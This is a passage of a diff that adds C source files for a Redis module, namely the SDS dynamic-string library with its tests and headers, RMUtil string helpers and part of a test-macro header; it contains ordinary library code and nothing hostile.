/* closing quote must be followed by a space or
|
||||
* nothing at all. */
|
||||
if (*(p+1) && !isspace(*(p+1))) goto err;
|
||||
done=1;
|
||||
} else if (!*p) {
|
||||
/* unterminated quotes */
|
||||
goto err;
|
||||
} else {
|
||||
current = sdscatlen(current,p,1);
|
||||
}
|
||||
} else {
|
||||
switch(*p) {
|
||||
case ' ':
|
||||
case '\n':
|
||||
case '\r':
|
||||
case '\t':
|
||||
case '\0':
|
||||
done=1;
|
||||
break;
|
||||
case '"':
|
||||
inq=1;
|
||||
break;
|
||||
case '\'':
|
||||
insq=1;
|
||||
break;
|
||||
default:
|
||||
current = sdscatlen(current,p,1);
|
||||
break;
|
||||
}
|
||||
}
|
||||
if (*p) p++;
|
||||
}
|
||||
/* add the token to the vector */
|
||||
vector = s_realloc(vector,((*argc)+1)*sizeof(char*));
|
||||
vector[*argc] = current;
|
||||
(*argc)++;
|
||||
current = NULL;
|
||||
} else {
|
||||
/* Even on empty input string return something not NULL. */
|
||||
if (vector == NULL) vector = s_malloc(sizeof(void*));
|
||||
return vector;
|
||||
}
|
||||
}
|
||||
|
||||
err:
|
||||
while((*argc)--)
|
||||
sdsfree(vector[*argc]);
|
||||
s_free(vector);
|
||||
if (current) sdsfree(current);
|
||||
*argc = 0;
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Modify the string substituting all the occurrences of the set of
|
||||
* characters specified in the 'from' string to the corresponding character
|
||||
* in the 'to' array.
|
||||
*
|
||||
* For instance: sdsmapchars(mystring, "ho", "01", 2)
|
||||
* will have the effect of turning the string "hello" into "0ell1".
|
||||
*
|
||||
* The function returns the sds string pointer, that is always the same
|
||||
* as the input pointer since no resize is needed. */
|
||||
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen) {
|
||||
size_t j, i, l = sdslen(s);
|
||||
|
||||
for (j = 0; j < l; j++) {
|
||||
for (i = 0; i < setlen; i++) {
|
||||
if (s[j] == from[i]) {
|
||||
s[j] = to[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return s;
|
||||
}
|
||||
|
||||
/* Join an array of C strings using the specified separator (also a C string).
|
||||
* Returns the result as an sds string. */
|
||||
sds sdsjoin(char **argv, int argc, char *sep) {
|
||||
sds join = sdsempty();
|
||||
int j;
|
||||
|
||||
for (j = 0; j < argc; j++) {
|
||||
join = sdscat(join, argv[j]);
|
||||
if (j != argc-1) join = sdscat(join,sep);
|
||||
}
|
||||
return join;
|
||||
}
|
||||
|
||||
/* Like sdsjoin, but joins an array of SDS strings. */
|
||||
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen) {
|
||||
sds join = sdsempty();
|
||||
int j;
|
||||
|
||||
for (j = 0; j < argc; j++) {
|
||||
join = sdscatsds(join, argv[j]);
|
||||
if (j != argc-1) join = sdscatlen(join,sep,seplen);
|
||||
}
|
||||
return join;
|
||||
}
|
||||
|
||||
/* Wrappers to the allocators used by SDS. Note that SDS will actually
|
||||
* just use the macros defined into sdsalloc.h in order to avoid to pay
|
||||
* the overhead of function calls. Here we define these wrappers only for
|
||||
* the programs SDS is linked to, if they want to touch the SDS internals
|
||||
* even if they use a different allocator. */
|
||||
void *sds_malloc(size_t size) { return s_malloc(size); }
|
||||
void *sds_realloc(void *ptr, size_t size) { return s_realloc(ptr,size); }
|
||||
void sds_free(void *ptr) { s_free(ptr); }
|
||||
|
||||
#if defined(SDS_TEST_MAIN)
|
||||
#include <stdio.h>
|
||||
#include "testhelp.h"
|
||||
#include "limits.h"
|
||||
|
||||
#define UNUSED(x) (void)(x)
|
||||
int sdsTest(void) {
|
||||
{
|
||||
sds x = sdsnew("foo"), y;
|
||||
|
||||
test_cond("Create a string and obtain the length",
|
||||
sdslen(x) == 3 && memcmp(x,"foo\0",4) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnewlen("foo",2);
|
||||
test_cond("Create a string with specified length",
|
||||
sdslen(x) == 2 && memcmp(x,"fo\0",3) == 0)
|
||||
|
||||
x = sdscat(x,"bar");
|
||||
test_cond("Strings concatenation",
|
||||
sdslen(x) == 5 && memcmp(x,"fobar\0",6) == 0);
|
||||
|
||||
x = sdscpy(x,"a");
|
||||
test_cond("sdscpy() against an originally longer string",
|
||||
sdslen(x) == 1 && memcmp(x,"a\0",2) == 0)
|
||||
|
||||
x = sdscpy(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk");
|
||||
test_cond("sdscpy() against an originally shorter string",
|
||||
sdslen(x) == 33 &&
|
||||
memcmp(x,"xyzxxxxxxxxxxyyyyyyyyyykkkkkkkkkk\0",33) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdscatprintf(sdsempty(),"%d",123);
|
||||
test_cond("sdscatprintf() seems working in the base case",
|
||||
sdslen(x) == 3 && memcmp(x,"123\0",4) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew("--");
|
||||
x = sdscatfmt(x, "Hello %s World %I,%I--", "Hi!", LLONG_MIN,LLONG_MAX);
|
||||
test_cond("sdscatfmt() seems working in the base case",
|
||||
sdslen(x) == 60 &&
|
||||
memcmp(x,"--Hello Hi! World -9223372036854775808,"
|
||||
"9223372036854775807--",60) == 0)
|
||||
printf("[%s]\n",x);
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew("--");
|
||||
x = sdscatfmt(x, "%u,%U--", UINT_MAX, ULLONG_MAX);
|
||||
test_cond("sdscatfmt() seems working with unsigned numbers",
|
||||
sdslen(x) == 35 &&
|
||||
memcmp(x,"--4294967295,18446744073709551615--",35) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew(" x ");
|
||||
sdstrim(x," x");
|
||||
test_cond("sdstrim() works when all chars match",
|
||||
sdslen(x) == 0)
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew(" x ");
|
||||
sdstrim(x," ");
|
||||
test_cond("sdstrim() works when a single char remains",
|
||||
sdslen(x) == 1 && x[0] == 'x')
|
||||
|
||||
sdsfree(x);
|
||||
x = sdsnew("xxciaoyyy");
|
||||
sdstrim(x,"xy");
|
||||
test_cond("sdstrim() correctly trims characters",
|
||||
sdslen(x) == 4 && memcmp(x,"ciao\0",5) == 0)
|
||||
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,1,1);
|
||||
test_cond("sdsrange(...,1,1)",
|
||||
sdslen(y) == 1 && memcmp(y,"i\0",2) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,1,-1);
|
||||
test_cond("sdsrange(...,1,-1)",
|
||||
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,-2,-1);
|
||||
test_cond("sdsrange(...,-2,-1)",
|
||||
sdslen(y) == 2 && memcmp(y,"ao\0",3) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,2,1);
|
||||
test_cond("sdsrange(...,2,1)",
|
||||
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,1,100);
|
||||
test_cond("sdsrange(...,1,100)",
|
||||
sdslen(y) == 3 && memcmp(y,"iao\0",4) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
y = sdsdup(x);
|
||||
sdsrange(y,100,100);
|
||||
test_cond("sdsrange(...,100,100)",
|
||||
sdslen(y) == 0 && memcmp(y,"\0",1) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
sdsfree(x);
|
||||
x = sdsnew("foo");
|
||||
y = sdsnew("foa");
|
||||
test_cond("sdscmp(foo,foa)", sdscmp(x,y) > 0)
|
||||
|
||||
sdsfree(y);
|
||||
sdsfree(x);
|
||||
x = sdsnew("bar");
|
||||
y = sdsnew("bar");
|
||||
test_cond("sdscmp(bar,bar)", sdscmp(x,y) == 0)
|
||||
|
||||
sdsfree(y);
|
||||
sdsfree(x);
|
||||
x = sdsnew("aar");
|
||||
y = sdsnew("bar");
|
||||
test_cond("sdscmp(bar,bar)", sdscmp(x,y) < 0)
|
||||
|
||||
sdsfree(y);
|
||||
sdsfree(x);
|
||||
x = sdsnewlen("\a\n\0foo\r",7);
|
||||
y = sdscatrepr(sdsempty(),x,sdslen(x));
|
||||
test_cond("sdscatrepr(...data...)",
|
||||
memcmp(y,"\"\\a\\n\\x00foo\\r\"",15) == 0)
|
||||
|
||||
{
|
||||
unsigned int oldfree;
|
||||
char *p;
|
||||
int step = 10, j, i;
|
||||
|
||||
sdsfree(x);
|
||||
sdsfree(y);
|
||||
x = sdsnew("0");
|
||||
test_cond("sdsnew() free/len buffers", sdslen(x) == 1 && sdsavail(x) == 0);
|
||||
|
||||
/* Run the test a few times in order to hit the first two
|
||||
* SDS header types. */
|
||||
for (i = 0; i < 10; i++) {
|
||||
int oldlen = sdslen(x);
|
||||
x = sdsMakeRoomFor(x,step);
|
||||
int type = x[-1]&SDS_TYPE_MASK;
|
||||
|
||||
test_cond("sdsMakeRoomFor() len", sdslen(x) == oldlen);
|
||||
if (type != SDS_TYPE_5) {
|
||||
test_cond("sdsMakeRoomFor() free", sdsavail(x) >= step);
|
||||
oldfree = sdsavail(x);
|
||||
}
|
||||
p = x+oldlen;
|
||||
for (j = 0; j < step; j++) {
|
||||
p[j] = 'A'+j;
|
||||
}
|
||||
sdsIncrLen(x,step);
|
||||
}
|
||||
test_cond("sdsMakeRoomFor() content",
|
||||
memcmp("0ABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJABCDEFGHIJ",x,101) == 0);
|
||||
test_cond("sdsMakeRoomFor() final length",sdslen(x)==101);
|
||||
|
||||
sdsfree(x);
|
||||
}
|
||||
}
|
||||
test_report()
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#ifdef SDS_TEST_MAIN
|
||||
int main(void) {
|
||||
return sdsTest();
|
||||
}
|
||||
#endif
|
||||
@@ -0,0 +1,273 @@
|
||||
/* SDSLib 2.0 -- A C dynamic strings library
|
||||
*
|
||||
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
|
||||
* Copyright (c) 2015, Oran Agra
|
||||
* Copyright (c) 2015, Redis Labs, Inc
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of Redis nor the names of its contributors may be used
|
||||
* to endorse or promote products derived from this software without
|
||||
* specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#ifndef __SDS_H
|
||||
#define __SDS_H
|
||||
|
||||
#define SDS_MAX_PREALLOC (1024*1024)
|
||||
|
||||
#include <sys/types.h>
|
||||
#include <stdarg.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef char *sds;
|
||||
|
||||
/* Note: sdshdr5 is never used, we just access the flags byte directly.
|
||||
* However is here to document the layout of type 5 SDS strings. */
|
||||
struct __attribute__ ((__packed__)) sdshdr5 {
|
||||
unsigned char flags; /* 3 lsb of type, and 5 msb of string length */
|
||||
char buf[];
|
||||
};
|
||||
struct __attribute__ ((__packed__)) sdshdr8 {
|
||||
uint8_t len; /* used */
|
||||
uint8_t alloc; /* excluding the header and null terminator */
|
||||
unsigned char flags; /* 3 lsb of type, 5 unused bits */
|
||||
char buf[];
|
||||
};
|
||||
struct __attribute__ ((__packed__)) sdshdr16 {
|
||||
uint16_t len; /* used */
|
||||
uint16_t alloc; /* excluding the header and null terminator */
|
||||
unsigned char flags; /* 3 lsb of type, 5 unused bits */
|
||||
char buf[];
|
||||
};
|
||||
struct __attribute__ ((__packed__)) sdshdr32 {
|
||||
uint32_t len; /* used */
|
||||
uint32_t alloc; /* excluding the header and null terminator */
|
||||
unsigned char flags; /* 3 lsb of type, 5 unused bits */
|
||||
char buf[];
|
||||
};
|
||||
struct __attribute__ ((__packed__)) sdshdr64 {
|
||||
uint64_t len; /* used */
|
||||
uint64_t alloc; /* excluding the header and null terminator */
|
||||
unsigned char flags; /* 3 lsb of type, 5 unused bits */
|
||||
char buf[];
|
||||
};
|
||||
|
||||
#define SDS_TYPE_5 0
|
||||
#define SDS_TYPE_8 1
|
||||
#define SDS_TYPE_16 2
|
||||
#define SDS_TYPE_32 3
|
||||
#define SDS_TYPE_64 4
|
||||
#define SDS_TYPE_MASK 7
|
||||
#define SDS_TYPE_BITS 3
|
||||
#define SDS_HDR_VAR(T,s) struct sdshdr##T *sh = (void*)((s)-(sizeof(struct sdshdr##T)));
|
||||
#define SDS_HDR(T,s) ((struct sdshdr##T *)((s)-(sizeof(struct sdshdr##T))))
|
||||
#define SDS_TYPE_5_LEN(f) ((f)>>SDS_TYPE_BITS)
|
||||
|
||||
static inline size_t sdslen(const sds s) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
return SDS_TYPE_5_LEN(flags);
|
||||
case SDS_TYPE_8:
|
||||
return SDS_HDR(8,s)->len;
|
||||
case SDS_TYPE_16:
|
||||
return SDS_HDR(16,s)->len;
|
||||
case SDS_TYPE_32:
|
||||
return SDS_HDR(32,s)->len;
|
||||
case SDS_TYPE_64:
|
||||
return SDS_HDR(64,s)->len;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline size_t sdsavail(const sds s) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5: {
|
||||
return 0;
|
||||
}
|
||||
case SDS_TYPE_8: {
|
||||
SDS_HDR_VAR(8,s);
|
||||
return sh->alloc - sh->len;
|
||||
}
|
||||
case SDS_TYPE_16: {
|
||||
SDS_HDR_VAR(16,s);
|
||||
return sh->alloc - sh->len;
|
||||
}
|
||||
case SDS_TYPE_32: {
|
||||
SDS_HDR_VAR(32,s);
|
||||
return sh->alloc - sh->len;
|
||||
}
|
||||
case SDS_TYPE_64: {
|
||||
SDS_HDR_VAR(64,s);
|
||||
return sh->alloc - sh->len;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline void sdssetlen(sds s, size_t newlen) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
{
|
||||
unsigned char *fp = ((unsigned char*)s)-1;
|
||||
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
|
||||
}
|
||||
break;
|
||||
case SDS_TYPE_8:
|
||||
SDS_HDR(8,s)->len = newlen;
|
||||
break;
|
||||
case SDS_TYPE_16:
|
||||
SDS_HDR(16,s)->len = newlen;
|
||||
break;
|
||||
case SDS_TYPE_32:
|
||||
SDS_HDR(32,s)->len = newlen;
|
||||
break;
|
||||
case SDS_TYPE_64:
|
||||
SDS_HDR(64,s)->len = newlen;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
static inline void sdsinclen(sds s, size_t inc) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
{
|
||||
unsigned char *fp = ((unsigned char*)s)-1;
|
||||
unsigned char newlen = SDS_TYPE_5_LEN(flags)+inc;
|
||||
*fp = SDS_TYPE_5 | (newlen << SDS_TYPE_BITS);
|
||||
}
|
||||
break;
|
||||
case SDS_TYPE_8:
|
||||
SDS_HDR(8,s)->len += inc;
|
||||
break;
|
||||
case SDS_TYPE_16:
|
||||
SDS_HDR(16,s)->len += inc;
|
||||
break;
|
||||
case SDS_TYPE_32:
|
||||
SDS_HDR(32,s)->len += inc;
|
||||
break;
|
||||
case SDS_TYPE_64:
|
||||
SDS_HDR(64,s)->len += inc;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
/* sdsalloc() = sdsavail() + sdslen() */
|
||||
static inline size_t sdsalloc(const sds s) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
return SDS_TYPE_5_LEN(flags);
|
||||
case SDS_TYPE_8:
|
||||
return SDS_HDR(8,s)->alloc;
|
||||
case SDS_TYPE_16:
|
||||
return SDS_HDR(16,s)->alloc;
|
||||
case SDS_TYPE_32:
|
||||
return SDS_HDR(32,s)->alloc;
|
||||
case SDS_TYPE_64:
|
||||
return SDS_HDR(64,s)->alloc;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static inline void sdssetalloc(sds s, size_t newlen) {
|
||||
unsigned char flags = s[-1];
|
||||
switch(flags&SDS_TYPE_MASK) {
|
||||
case SDS_TYPE_5:
|
||||
/* Nothing to do, this type has no total allocation info. */
|
||||
break;
|
||||
case SDS_TYPE_8:
|
||||
SDS_HDR(8,s)->alloc = newlen;
|
||||
break;
|
||||
case SDS_TYPE_16:
|
||||
SDS_HDR(16,s)->alloc = newlen;
|
||||
break;
|
||||
case SDS_TYPE_32:
|
||||
SDS_HDR(32,s)->alloc = newlen;
|
||||
break;
|
||||
case SDS_TYPE_64:
|
||||
SDS_HDR(64,s)->alloc = newlen;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
sds sdsnewlen(const void *init, size_t initlen);
|
||||
sds sdsnew(const char *init);
|
||||
sds sdsempty(void);
|
||||
sds sdsdup(const sds s);
|
||||
void sdsfree(sds s);
|
||||
sds sdsgrowzero(sds s, size_t len);
|
||||
sds sdscatlen(sds s, const void *t, size_t len);
|
||||
sds sdscat(sds s, const char *t);
|
||||
sds sdscatsds(sds s, const sds t);
|
||||
sds sdscpylen(sds s, const char *t, size_t len);
|
||||
sds sdscpy(sds s, const char *t);
|
||||
|
||||
sds sdscatvprintf(sds s, const char *fmt, va_list ap);
|
||||
#ifdef __GNUC__
|
||||
sds sdscatprintf(sds s, const char *fmt, ...)
|
||||
__attribute__((format(printf, 2, 3)));
|
||||
#else
|
||||
sds sdscatprintf(sds s, const char *fmt, ...);
|
||||
#endif
|
||||
|
||||
sds sdscatfmt(sds s, char const *fmt, ...);
|
||||
sds sdstrim(sds s, const char *cset);
|
||||
void sdsrange(sds s, int start, int end);
|
||||
void sdsupdatelen(sds s);
|
||||
void sdsclear(sds s);
|
||||
int sdscmp(const sds s1, const sds s2);
|
||||
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count);
|
||||
void sdsfreesplitres(sds *tokens, int count);
|
||||
void sdstolower(sds s);
|
||||
void sdstoupper(sds s);
|
||||
sds sdsfromlonglong(long long value);
|
||||
sds sdscatrepr(sds s, const char *p, size_t len);
|
||||
sds *sdssplitargs(const char *line, int *argc);
|
||||
sds sdsmapchars(sds s, const char *from, const char *to, size_t setlen);
|
||||
sds sdsjoin(char **argv, int argc, char *sep);
|
||||
sds sdsjoinsds(sds *argv, int argc, const char *sep, size_t seplen);
|
||||
|
||||
/* Low level functions exposed to the user API */
|
||||
sds sdsMakeRoomFor(sds s, size_t addlen);
|
||||
void sdsIncrLen(sds s, int incr);
|
||||
sds sdsRemoveFreeSpace(sds s);
|
||||
size_t sdsAllocSize(sds s);
|
||||
void *sdsAllocPtr(sds s);
|
||||
|
||||
/* Export the allocator used by SDS to the program using SDS.
|
||||
* Sometimes the program SDS is linked to, may use a different set of
|
||||
* allocators, but may want to allocate or free things that SDS will
|
||||
* respectively free or allocate. */
|
||||
void *sds_malloc(size_t size);
|
||||
void *sds_realloc(void *ptr, size_t size);
|
||||
void sds_free(void *ptr);
|
||||
|
||||
#ifdef REDIS_TEST
|
||||
int sdsTest(int argc, char *argv[]);
|
||||
#endif
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,47 @@
|
||||
/* SDSLib 2.0 -- A C dynamic strings library
|
||||
*
|
||||
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
|
||||
* Copyright (c) 2015, Redis Labs, Inc
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions are met:
|
||||
*
|
||||
* * Redistributions of source code must retain the above copyright notice,
|
||||
* this list of conditions and the following disclaimer.
|
||||
* * Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* * Neither the name of Redis nor the names of its contributors may be used
|
||||
* to endorse or promote products derived from this software without
|
||||
* specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
|
||||
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
|
||||
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
|
||||
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
|
||||
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
* POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
/* SDS allocator selection.
|
||||
*
|
||||
* This file is used in order to change the SDS allocator at compile time.
|
||||
* Just define the following defines to what you want to use. Also add
|
||||
* the include of your alternate allocator if needed (not needed in order
|
||||
* to use the default libc allocator). */
|
||||
|
||||
#if defined(__MACH__)
|
||||
#include <stdlib.h>
|
||||
#else
|
||||
#include <malloc.h>
|
||||
#endif
|
||||
//#include "zmalloc.h"
|
||||
#define s_malloc malloc
|
||||
#define s_realloc realloc
|
||||
#define s_free free
|
||||
@@ -0,0 +1,81 @@
|
||||
#include <string.h>
|
||||
#include <sys/param.h>
|
||||
#include <ctype.h>
|
||||
#include "strings.h"
|
||||
#include "alloc.h"
|
||||
|
||||
#include "sds.h"
|
||||
|
||||
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...) {
|
||||
// sds s = sdsempty();
|
||||
|
||||
// va_list ap;
|
||||
// va_start(ap, fmt);
|
||||
// s = sdscatvprintf(s, fmt, ap);
|
||||
// va_end(ap);
|
||||
|
||||
// RedisModuleString *ret = RedisModule_CreateString(ctx, (const char *)s, sdslen(s));
|
||||
// sdsfree(s);
|
||||
// return ret;
|
||||
// }
|
||||
|
||||
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2) {
|
||||
|
||||
const char *c1, *c2;
|
||||
size_t l1, l2;
|
||||
c1 = RedisModule_StringPtrLen(s1, &l1);
|
||||
c2 = RedisModule_StringPtrLen(s2, &l2);
|
||||
if (l1 != l2) return 0;
|
||||
|
||||
return strncmp(c1, c2, l1) == 0;
|
||||
}
|
||||
|
||||
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2) {
|
||||
|
||||
const char *c1;
|
||||
size_t l1, l2 = strlen(s2);
|
||||
c1 = RedisModule_StringPtrLen(s1, &l1);
|
||||
if (l1 != l2) return 0;
|
||||
|
||||
return strncmp(c1, s2, l1) == 0;
|
||||
}
|
||||
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2) {
|
||||
|
||||
const char *c1;
|
||||
size_t l1, l2 = strlen(s2);
|
||||
c1 = RedisModule_StringPtrLen(s1, &l1);
|
||||
if (l1 != l2) return 0;
|
||||
|
||||
return strncasecmp(c1, s2, l1) == 0;
|
||||
}
|
||||
|
||||
void RMUtil_StringToLower(RedisModuleString *s) {
|
||||
|
||||
size_t l;
|
||||
char *c = (char *)RedisModule_StringPtrLen(s, &l);
|
||||
size_t i;
|
||||
for (i = 0; i < l; i++) {
|
||||
*c = tolower(*c);
|
||||
++c;
|
||||
}
|
||||
}
|
||||
|
||||
void RMUtil_StringToUpper(RedisModuleString *s) {
|
||||
size_t l;
|
||||
char *c = (char *)RedisModule_StringPtrLen(s, &l);
|
||||
size_t i;
|
||||
for (i = 0; i < l; i++) {
|
||||
*c = toupper(*c);
|
||||
++c;
|
||||
}
|
||||
}
|
||||
|
||||
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options) {
|
||||
for (size_t ii = 0; ii < n; ++ii) {
|
||||
const char *p = RedisModule_StringPtrLen(rs[ii], NULL);
|
||||
if (options & RMUTIL_STRINGCONVERT_COPY) {
|
||||
p = strdup(p);
|
||||
}
|
||||
ss[ii] = p;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
#ifndef __RMUTIL_STRINGS_H__
|
||||
#define __RMUTIL_STRINGS_H__
|
||||
|
||||
#include <redismodule.h>
|
||||
|
||||
/*
|
||||
* Create a new RedisModuleString object from a printf-style format and arguments.
|
||||
* Note that RedisModuleString objects CANNOT be used as formatting arguments.
|
||||
*/
|
||||
// DEPRECATED since it was added to the RedisModule API. Replaced with a macro below
|
||||
// RedisModuleString *RMUtil_CreateFormattedString(RedisModuleCtx *ctx, const char *fmt, ...);
|
||||
#define RMUtil_CreateFormattedString RedisModule_CreateStringPrintf
|
||||
|
||||
/* Return 1 if the two strings are equal. Case *sensitive* */
|
||||
int RMUtil_StringEquals(RedisModuleString *s1, RedisModuleString *s2);
|
||||
|
||||
/* Return 1 if the string is equal to a C NULL terminated string. Case *sensitive* */
|
||||
int RMUtil_StringEqualsC(RedisModuleString *s1, const char *s2);
|
||||
|
||||
/* Return 1 if the string is equal to a C NULL terminated string. Case *insensitive* */
|
||||
int RMUtil_StringEqualsCaseC(RedisModuleString *s1, const char *s2);
|
||||
|
||||
/* Converts a redis string to lowercase in place without reallocating anything */
|
||||
void RMUtil_StringToLower(RedisModuleString *s);
|
||||
|
||||
/* Converts a redis string to uppercase in place without reallocating anything */
|
||||
void RMUtil_StringToUpper(RedisModuleString *s);
|
||||
|
||||
// If set, copy the strings using strdup rather than simply storing pointers.
|
||||
#define RMUTIL_STRINGCONVERT_COPY 1
|
||||
|
||||
/**
|
||||
* Convert one or more RedisModuleString objects into `const char*`.
|
||||
* Both rs and ss are arrays, and should be of <n> length.
|
||||
* Options may be 0 or `RMUTIL_STRINGCONVERT_COPY`
|
||||
*/
|
||||
void RMUtil_StringConvert(RedisModuleString **rs, const char **ss, size_t n, int options);
|
||||
#endif
|
||||
@@ -0,0 +1,69 @@
|
||||
#ifndef __TESTUTIL_H__
|
||||
#define __TESTUTIL_H__
|
||||
|
||||
#include <assert.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
static int numTests = 0;
|
||||
static int numAsserts = 0;
|
||||
|
||||
#define TESTFUNC(f) \
|
||||
printf(" Testing %s\t\t", __STRING(f)); \
|
||||
numTests++; \
|
||||
fflush(stdout); \
|
||||
if (f()) { \
|
||||
printf(" %s FAILED!\n", __STRING(f)); \
|
||||
exit(1); \
|
||||
} else \
|
||||
printf("[PASS]\n");
|
||||
|
||||
#define ASSERTM(expr, ...) \
|
||||
if (!(expr)) { \
|
||||
fprintf(stderr, "%s:%d: Assertion '%s' Failed: " __VA_ARGS__ "\n", __FILE__, __LINE__, \
|
||||
__STRING(expr)); \
|
||||
return -1; \
|
||||
} \
|
||||
numAsserts++;
|
||||
|
||||
#define ASSERT(expr) \
|
||||
if (!(expr)) { \
|
||||
fprintf(stderr, "%s:%d Assertion '%s' Failed\n", __FILE__, __LINE__, __STRING(expr)); \
|
||||
return -1; \
|
||||
} \
|
||||
numAsserts++;
|
||||
|
||||
#define ASSERT_STRING_EQ(s1, s2) ASSERT(!strcmp(s1, s2));
|
||||
|
||||
#define ASSERT_EQUAL(x, y, ...) \
|
||||
if (x != y) { \
|
||||
